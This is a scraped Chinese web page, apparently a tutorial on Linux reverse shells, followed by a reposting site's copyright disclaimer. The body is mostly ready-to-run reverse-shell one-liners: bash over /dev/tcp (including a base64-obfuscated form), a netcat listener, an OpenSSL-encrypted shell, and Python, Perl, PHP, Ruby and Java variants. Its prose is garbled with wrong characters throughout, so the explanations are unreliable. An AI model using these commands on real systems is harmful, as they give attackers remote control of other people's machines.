|
<
媒介
当我们能够正在长途Linux主机上施行随便号令或写进随便的数据到随便的文件的工夫
凡是会经由过程反弹一个shell 去掌握长途主机
bash 反弹shell
Linux反弹shell利用那条号令,但反弹返来的shell是不成交互的
bash -i >& /dev/tcp/10.10.10.134/2333 0>&1
也能够{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjI3LzQ0NDQgMD4mMSA=}|{base64,-d}|{bash,-i}
客户端用netcat 停止领受
nc -lvvp 2333 监听2333端心
利用甚么样的用户反弹的shell,便是当前用户的权限(只要具有/bin/bash 的用户才华够利用该号令)
号令道理
首先 bash -i 是翻开一个交互式的bash末端
/dev/tcp/ 是linux的一个特别配备,翻开那个文件便相等于收回了一个socket挪用,创立一个socket毗连,读写那个文件便相等于正在那个socket毗连中传输数据。同理,Linux中借存正在/dev/udp/。
那末>& 战 0>&1 又是甚么意义呢?
首先我们理解一下Linux文件形貌符战重定背。
linux shell下经常使用的文件形貌符是:
尺度输进 (stdin) :代码为 0 ,利用 < 或
>
尺度毛病输出(stderr):代码为 2 ,利用 2> 或 2>>
然后发明 >& 战 &> 二者一个意义,皆是将尺度毛病输出合并到尺度输出中。
假如我们施行一个号令,好比 ls -lh > test ,如许的话,test文件中只会保留我们施行那个号令一般的输出成果
而假如我们施行号令 ls -lh >& test 大要 ls -lh &> test ,如许的话,test文件中既会保留我们施行那个号令一般的成果,也会保留我们施行那个号令堕落了的成果。
以是,当我们施行号令:bash -i >& /dev/tcp/10.10.10.134/2333 时,他会取10.10.10.134/2333号端心创立一个socket毗连,把bash的尺度输出战尺度毛病输动身给10.10.10.134/2333。也便是获得了他的shell,可是10.10.10.134却不克不及停止操纵。
同理0>&1 战 0&1 的话,就能够担任用户的输进了。
以是,结合上里的:bash -i >& /dev/tcp/10.10.10.134/2333 0>&1 号令是意义是:取10.10.10.134/2333端心创立一个socket毗连,把bash的尺度输出战尺度毛病输动身给10.10.10.134/2333。并且能够担任输进,也便是能够停止交互式操纵
可是更多工夫获得的shell并非一个具有完好的交互shell
假如目的的主机有python情况,我们正在获得反弹shell后,能够施行那个号令获得一个一般可交互的shell
python -c 'import pty;pty.spawn("/bin/bash")'
减稀bash反弹shell
正在进犯机上生成SSL证书的公钥公钥对,一起回车
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
然后用openssl监听反弹shell
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333
目的机用openssl减稀反弹shell的流量
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.10.136:4444 > /tmp/s;rm /tmp/s
其他反弹shell
一样是只要具有/bin/bash的用户才华利用,利用甚么样的用户反弹甚么权限
Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.25”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);’
Perl
perl -e ‘use Socket;$i=“192.168.10.13”;$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
PHP
php -r ‘$sock=fsockopen(“192.168.10.13”,8888);exec("/bin/sh -i &3 2>&3");’
Ruby
ruby -rsocket -e’f=TCPSocket.open(“192.168.10.13”,8888).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)’
<blockquote>
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c",“exec 5/dev/tcp/192.168.10.13/8888;cat |
1、本网站属于个人的非赢利性网站,转载的文章遵循原作者的版权声明,如果原文没有版权声明,按照目前互联网开放的原则,我们将在不通知作者的情况下,转载文章;如果原文明确注明“禁止转载”,我们一定不会转载。如果我们转载的文章不符合作者的版权声明或者作者不想让我们转载您的文章的话,请您发送邮箱:Cdnjson@163.com提供相关证明,我们将积极配合您!
2、本网站转载文章仅为传播更多信息之目的,凡在本网站出现的信息,均仅供参考。本网站将尽力确保所提供信息的准确性及可靠性,但不保证信息的正确性和完整性,且不对因信息的不正确或遗漏导致的任何损失或损害承担责任。
3、任何透过本网站网页而链接及得到的资讯、产品及服务,本网站概不负责,亦不负任何法律责任。
4、本网站所刊发、转载的文章,其版权均归原作者所有,如其他媒体、网站或个人从本网下载使用,请在转载有关文章时务必尊重该文章的著作权,保留本网注明的“稿件来源”,并自负版权等法律责任。
|